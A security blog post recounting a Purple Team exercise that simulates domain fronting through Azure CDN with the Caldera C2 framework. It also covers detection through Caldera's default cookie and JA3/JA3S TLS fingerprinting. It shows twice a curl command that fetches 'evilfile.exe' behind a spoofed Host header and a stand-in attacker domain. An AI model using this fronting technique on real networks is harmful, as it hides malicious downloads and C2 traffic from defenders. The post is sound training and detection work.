Domain Fronting with Azure and Caldera

Domain Fronting is a tehnique that has been around for a few years now and fortunately, cloud providers are phasing out what has become a challenging security problem. The capability has its legitimate use cases to some degree, but it can also create a “cloak” for malicious attackers. Essentially, this technique takes advantage of reputable domain names to mask or obfuscate internet censorship or even malicious internet traffic. For example, a malicious Command and Control (C2) server can be sitting behind a Content Delivery Network (CDN) while using a reputable domain name (think workhub.microsoft.com) to “front” their malicious traffic. If that’s not bad enough, APT groups have been known to leverage this technique during their campaigns against other organizations to hide their malicious traffic.

★ You can read more on Domain Fronting here and the official Wikipedia entry here.

In this post I’ll discuss a recent Purple Team exercise we conducted to simulate this technique. I’ll discuss the tools used and references to blog posts that helped us facilitate this exercise successfully. The goal was to detect any C2 communication over the HTTP/S protocol, locate the agent, and improve any detection and alerting rules. Keep in mind that several cloud providers have discontinued this capability but it was still enabled in Microsoft Azure when we planned for this exercise. I reached out to @msftsecurity on Twitter, trying to gauge when they would actually discontinue this capability and received a response. More on that discussion a little later in this post.

Getting Started

Choosing a C2 Framework

Cobalt Strike is a very well known and popular tool for performing advanced Adversary Simulation attack techniques as well as provide Command and Control (C2) capabilities. However, it’s not free software and you may need to request a quote to get a free trial license. Fortunately for us, our InfoSec community is very generous and full of passionate, intelligent people always willing to share knowledge and open source software. Jorge Orchilles (@jorgeorchilles), CTO of SCYTHE is one of the creators and maintainers of The C2 Matrix, which provides us a really nice spreadsheet with close to 100 C2 frameworks. I highly recommend taking a look at the C2 Matrix, do a little research and play with a few at your leisure. For this exercise, we’ve chosen Caldera, an Open Source framework developed and maintained by the folks at MITRE. Here are some notable features:

• Written in Python with yaml based configuration files; easy to read and follow
• No need for a backend database; all changes saved to yaml files
• Highly customizable, configurable, modular, and portable
• Cross platform Go binary agents for easy deployment (Windows,Linux,MacOS)
• Awesome Slack community with great engagement and response from MITRE devs.
• Its Free!!

★Here is an excellent video Introducing the C2 Matrix by Jorge Orchilles

★Here is an excellent tutorial on Caldera and Red Teaming (caldera at about 20:00)

Hosting your C2 Cloud Server

Once again, we find ourselves with plenty of options for this component of our environment set up. AWS Elastic Compute Cloud (EC2) is a reasonable platform for its ease of use and quick server deployment. Its not only ubiquitous in the cloud space, but you will find more and more organizations transitioning their On-Premises services and infrastructure to AWS. This can create a more realistic attack surface as it is possible for an adversary to leverage this environment for malicious activity. Alternatively, you can choose to send your attacker traffic to other geographic regions by leveraging services from Linode or Vultr. For the exercise we stood up a basic Ubuntu Linux server to host the Caldera software.

★Here is a link to a nice uncomplicated Medium post on creating an Ubuntu 20.04 EC2 instance on AWS.

★Here is a link to the Official AWS doc on creating an EC2 Instance.

Choosing your C2 Domain

After a little googling for domain providers, you will soon realize that you have several options for purchasing a seemingly harmless attacker C2 domain. i.e. Google, GoDaddy, BlueHost, NameCheap, someone please stop me… This is an exercise, so we chose Google domains since I was already using it for other domains. Note to self: unsubscribe from automatic renewal after a year if we don’t plan to use this domain in the future. Im certain there are services that allow you to register other TLDs for free or much cheaper so I recommend doing a little research before settling on one provider. Alternatively, you might be able to use a service like TOR to create a more realistic anonymous hidden service but I’ll save that for another post.

Example Attacker C2 Domain: https://evilorg.com

Choosing a CDN Provider

A Content Delivery or Distribution Network (CDN) is a group of geographically distributed servers that provide fast delivery of internet content. Since the CDN does not host content itself it does help cache content which can significantly improve website performance. At one point, many CDN providers allowed the configuration of an Origin Server to point to any arbitrary host, like a malicious website (e.g. https://evilorg.com) and use an Edge Server as the “Fronting” website (e.g. https://legitorg.azureedge.net).

Here’s a simple diagram of what that flow looks like.

Furthermore, we can use a second legitimate Domain (e.g. workhub.microsoft.com) to add another hop in that process by inserting the host in a HTTP Host header. Take a look at my cURL example below:

hax0r@kali# curl -X POST -H “file:evilfile.exe” -H “Host: legitorg.azureedge.net” -H “Content-Length: 0” https://workhub.microsoft.com/file/download > evilfile.exe

Does any of that look suspicious? Of course not, I’m downloading an innocent file from a legitimate Microsoft server.

Fortunately, most CDN providers now have disabled the capability to use Domain Fronting as a technique to circumvent restrictions or mask malicious traffic. For this exercise and at the time of this writing, MS Azure still had this feature available so, that is the platform we used. And it worked, beautifully!! In fact, Eric Doerr, VP of Cloud Security noted disabling the feature in this Microsoft blog post from April 2021.

I reached out to @msftsecurity on Twitter and inquired about the timeline to disable this feature since publishing that blog post back in April of 2021. I received a positive response and look forward to seeing the change later this month maybe.

★Here is a link to an Excellent tutorial, step by step, on using Azure for a Domain Fronting exercise. It also served as inspiration for our own Purple Team exercise but I will also note that using the C2 in this tutorial is a bit more involved than using a C2 like Caldera. Again, do a little research before attempting this exercise.

Bringing It All Together

The Wolf in Sheep’s Clothing

Now that we have all our components ready, I’ll discuss a few important technical details about this technique. Essentially, Domain Fronting as an attack technique can be described as hiding a malicious domain behind a reputable or legitimate domain. This is allowed to happen because different domains can be used at different layers of the communication. In general, when a DNS request is made for a HTTPS website, that hostname appears in the DNS query, Server Name Indication (SNI) extension, and the Host header. Due to the encryption of the request, we can modify that Host header to point to a different server and circumvent any filters. Take a look at this simple diagram.

In the example above, both the trusted server and malicious server are hosted within the same CDN. Earlier in the post, I discussed the difference between an Edge Server and the Origin Server. Using those two mechanisms allows us to leverage an endpoint URL (https://legitorg.azureedge.net) on the CDN to be used as a proxy and point the Origin Server to a resource outside the CDN (https://evilorg.com), for example an AWS EC2 instance like in my initial example. Using this method will hide the malicious C2 much better with less chances of being detected. Let’s take a look at that cURL request one more time.

hax0r@kali# curl -X POST -H “file:evilfile.exe” -H “Host: legitorg.azureedge.net” -H “Content-Length: 0” https://workhub.microsoft.com/file/download > evilfile.exe

Nowhere in that request do you see https://evilorg.com/. That is because the CDN Edge Server is pointing to the Origin Server and in the cURL request we are using https://workhub.microsoft.com/ as the “Fronting” domain. Interesting, right? That allows us to not only bypass any filters, but evade identification of the actual C2 attacker domain.

Now, let’s take a look at the verbose output from the request above. See if you can spot any suspicious strings or keywords from the Response HTTP headers.

During our Purple Team exercise, our awesome detection analysts got to work. It didn’t take too long before they found the tiny little cookie set by the C2 server. Remember we used Caldera for this exercise, and left the default HTTP cookie setting as such. And there it is…

set-cookie: SERVERUSED=caldera_main;

That’s at least a great start, our detection analysts could sever the network connections from the hosts making those requests and conduct further investigation. Although, we don’t get the actual C2 domain name, we can deduce that malicious traffic is being routed through the Microsoft domains.

Understanding SSL/TLS Detection

A few employees at Salesforce developed a couple tools, JA3 for client side TLS fingerprinting and JA3S for server side TLS fingerprinting signatures from HTTPS enabled websites. Essentially, the method allows us to collect unique signatures from the TLS communication (client and server HELLO packets) enabled in servers on the internet. Having these unique signatures from multiple servers can help discern legitimate domains from the malicious ones out there. It’s a very interesting concept and I highly recommend giving this article a read to understand more on that topic.

★https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967

★Here is video on Fingerprinting Encrypted Chanels for Detection by John Althouse

Conclusion

This was a fantastic Purple Team exercise! Everyone was engaged, the communication processes flowed smoothly, and everyone learned a ton of new information on C2 communication, Domain Fronting and the relevant attack and detect techniques. I highly recommend putting together a simulation exercise and work on finding those little crumbs that an attacker will leave behind. Not easy to find sometimes, but that’s why we conduct these exercises to continue to fine tune those skills.

Now For Some Shout Outs

★I want to give huge thanks to my colleague Laura Farvour whose energetic, and lively discussions on this topic were inspiring. #bettertogether

★ Major credit to bigb0ss for the post on Domain Fronting using Azure and Cobalt Strike. It served as our initial idea and design for our exercise.

★ Finally, to our Code42 SecOps and Purple Teams whose “Relentless Pursuit of Better” is what pushes us to be better cyber professionals everyday.